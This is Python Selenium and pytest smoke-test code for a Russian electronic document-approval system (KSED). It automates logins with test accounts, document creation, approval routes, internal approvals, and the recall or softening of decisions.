Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDinnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15772(web_browser):
""" Возврат с внутреннеего согласования """
# Шаг 1 создание документа
page = KSEDrejectInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDrejectInnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 направление на внутреннее согласования
page2 = KSEDrejectInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
# Шаг 5 отзыв внутреннего согласования
rejectInnerSogl = page2.rejectInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15777(web_browser):
""" Отзыв задачи внутренеего согласования """
# Шаг 1 создание документа
page = KSEDrejectTaskInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDrejectTaskInnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDrejectTaskInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
rejectTaskInnerSogl = page2.rejectTaskInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15779(web_browser):
""" Повторная отправка на внутрненнее согласование """
# Шаг 1 создание документа
page = KSEDrepeatInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDrepeatInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
rejectTaskInnerSogl = page2.rejectTaskInnerSogl()
repeatInnerApp = page2.repeatInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15780(web_browser):
""" Внутреннее согласование - вынесение решения"""
# Шаг 1 создание документа
page = KSEDAcceptInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDAcceptInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 согласование на внутреннее согласование
page3 = KSEDAcceptInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.AcceptInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15781(web_browser):
""" Основное согласование - внесение замечаний """
# Шаг 1 создание документа
page = KSEDaddComment(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDacceptSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDaddComment(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
addComment = page2.addComment()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15806(web_browser):
""" Забрать задачу согласования"""
# Шаг 1 создание документа
page = KSEDtakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDtakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDtakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15807(web_browser):
""" Возврат задачи согласования """
# Шаг 1 создание документа
page = KSEDbackTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDbackTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDbackTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
# Шаг 5 вернуть задачу
take = page2.backTask_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15810(web_browser):
""" Отзыв решения """
# Шаг 1 создание документа
page = KSEDreturnDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDreturnDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDreturnDecision_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
# Шаг 4 отзыв решения
returnDecision = page2.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15812(web_browser):
""" Смягчение решения """
# Шаг 1 создание документа
page = KSEDsoftDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDsoftDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDsoftDecision_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
# Шаг 4 отзыв решения
returnDecision = page2.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18300(web_browser):
""" Внутреннее согласование - отзыв решения после отклонения"""
# Шаг 1 создание документа
page = KSEDchangeAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDchangeAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDchangeAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.RejectInnerSogl()
innerSogl = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18302(web_browser):
""" Внутреннее согласование - смягчение решения после отклонения"""
# Шаг 1 создание документа
page = KSEDsoftDesAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDsoftDesAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDsoftDesAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.RejectInnerSogl()
innerSogl = page3.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18327(web_browser):
""" Внутреннее согласование - отзыв решения после согласования"""
# Шаг 1 создание документа
page = KSEDchangeAfterAcceptInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDchangeAfterAcceptInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDchangeAfterAcceptInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.AcceptInnerSogl()
innerSogl = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18329(web_browser):
""" Внутреннее согласование - отзыв решения после согласования с замечаниями"""
# Шаг 1 создание документа
page = KSEDchangeAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDchangeAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDchangeAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.AcceptInnerSogl()
innerSogl = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18330(web_browser):
""" Внутреннее согласование - смягчение решения после согласования с замечаниями"""
# Шаг 1 создание документа
page = KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.AcceptInnerSogl()
innerSogl = page3.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18332(web_browser):
""" Внутреннее согласование - добавление комментариев"""
# Шаг 1 создание документа
page = KSEDaddCommentInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDaddCommentInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 согласование на внутреннее согласование
page3 = KSEDaddCommentInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('tst_user11', 'Changeme!')
getDoc = page2.getDoc()
addComment = page2.addComment()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18334(web_browser):
""" Внутреннее согласование после удаления добавленого комментария"""
# Шаг 1 создание документа
page = KSEDInnerSoglAfterAddComment_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDInnerSoglAfterAddComment_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 согласование на внутреннее согласование
page3 = KSEDInnerSoglAfterAddComment_RD(web_browser)
LogIn_page = page2.LogIN('tst_user11', 'Changeme!')
getDoc = page2.getDoc()
addComment = page2.addComment()
accept = page2.AcceptInnerSoglWithComment()
accept2 = page2.AcceptInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18336(web_browser):
""" Основное согласование c комментариями """
# Шаг 1 создание документа
page = KSEDacceptSoglwithRemark_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
# page = KSEDacceptSoglwithRemark_RD(web_browser)
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
# getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDacceptSoglwithRemark_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18337(web_browser):
""" Основное согласование c комментариями и отзыв решения"""
# Шаг 1 создание документа
page = KSEDrejectAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
# page = KSEDacceptSoglwithRemark_RD(web_browser)
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
# getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDrejectAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
returnDis = page2.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18338(web_browser):
""" Основное согласование c комментариями и смягчение решения"""
# Шаг 1 создание документа
page = KSEDsoftDisAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
# page = KSEDacceptSoglwithRemark_RD(web_browser)
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
# getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDsoftDisAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
softDis = page2.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18360(web_browser):
""" Отзыв решения делегата после отклонения согласования основного согласующего"""
# Шаг 1 создание документа
page = KSEDreturnDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDreturnDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDreturnDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page3.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_18361(web_browser):
""" Отзыв решения после согласования делегата"""
# Шаг 1 создание документа
page = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page3.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
def test_18362(web_browser):
""" Отзыв решения делегата после отклонения согласования основного согласующего"""
# Шаг 1 создание документа
page = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page3.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.softDecision_RD()
@pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
def test_18363(web_browser):
""" Смягчение решения после согласования делегата"""
# Шаг 1 создание документа
page = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page3.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.softDecision_RD()
```
tk12935.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from selenium.webdriver import ActionChains
from selenium.webdriver.common.keys import Keys
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocPorNIspoln(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title
# Создание документа (открытие формы создания и заполнение атрибутов)
def Creat(self,):
self.newDoc_button.wait_to_be_clickable()
self.newDoc_button.click()
self.poruchenie.wait_to_be_clickable()
self.poruchenie.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
self.wait_page_loaded()
assert "Страница создания документа" in self.w.title
# Атрибуты документа
# Тип поручения
self.tipPoruch.scroll_to_element()
self.tipPoruch.wait_until_not_visible()
self.tipPoruch.send_keys(u'Для информации' + Keys.ENTER)
# Категория документа
self.category_doc.wait_until_not_visible()
self.category_doc.send_keys(u'Открытый' + Keys.RETURN)
# Ответственный исполнитель
self.otvetstv_ispoln.scroll_to_element()
self.otvetstv_ispoln.wait_until_not_visible()
self.otvetstv_ispoln.send_keys(u'Строганов' + Keys.RETURN)
# Кнопка "Создать"
self.btnCreateDoc.scroll_to_element()
self.btnCreateDoc.wait_to_be_clickable()
self.btnCreateDoc.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
self.wait_page_loaded()
assert "Документ" in self.w.title
# Добавление вложения
def attachment(self, ):
actions = ActionChains(self._web_driver)
actions.move_to_element(self.vlozheniya).perform()
self.attachments.wait_to_be_clickable()
self.attachments.click()
self.fileUpload2.wait_to_be_clickable()
self.fileUpload2.click()
self.files.wait_to_be_clickable()
self.files.send_keys('C:\\test.txt')
# Создание маршрута согласования
def creation_of_the_approval_route(self):
# "Показать общую карточку" клик
self.show.wait_until_not_visible()
self.show.wait_to_be_clickable()
self.show.click()
# "Согласование" вкладка
self.soglasovanieWkladka.wait_to_be_clickable()
self.soglasovanieWkladka.click()
# "Создать маршрут" клик по кнопке
self.createRuleBtn.wait_to_be_clickable()
self.createRuleBtn.click()
# Выберем "Индивидуальный маршрут"
self.createRuleIndivid.wait_to_be_clickable()
self.createRuleIndivid.click()
# Появилась форма "Редактирование маршрута" нажмем "ОК"
self.btnOKform.wait_to_be_clickable()
self.btnOKform.click()
# Нажмем кнопку "Добавить этап"
self.addEtap.wait_to_be_clickable()
self.addEtap.click()
# Заполним "Вид этапа"
self.tipeEtap.wait_until_not_visible()
self.tipeEtap.send_keys("Согласование" + Keys.RETURN)
# Заполним "Согласующие"
self.soglasuychie.wait_until_not_visible()
self.soglasuychie.send_keys("Яцкин" + Keys.RETURN)
# Нажмем кнопку "ОК" на форме
self.btnOKformSogl.wait_to_be_clickable()
self.btnOKformSogl.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
self.wait_page_loaded()
# Направление на исполнение
def NapIspolnenie(self, ):
self.sendFor_execution.wait_to_be_clickable()
self.sendFor_execution.click()
self.btnOKnaprNaIspoln.wait_to_be_clickable()
self.btnOKnaprNaIspoln.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
self.wait_page_loaded()
# Проверим статус документа
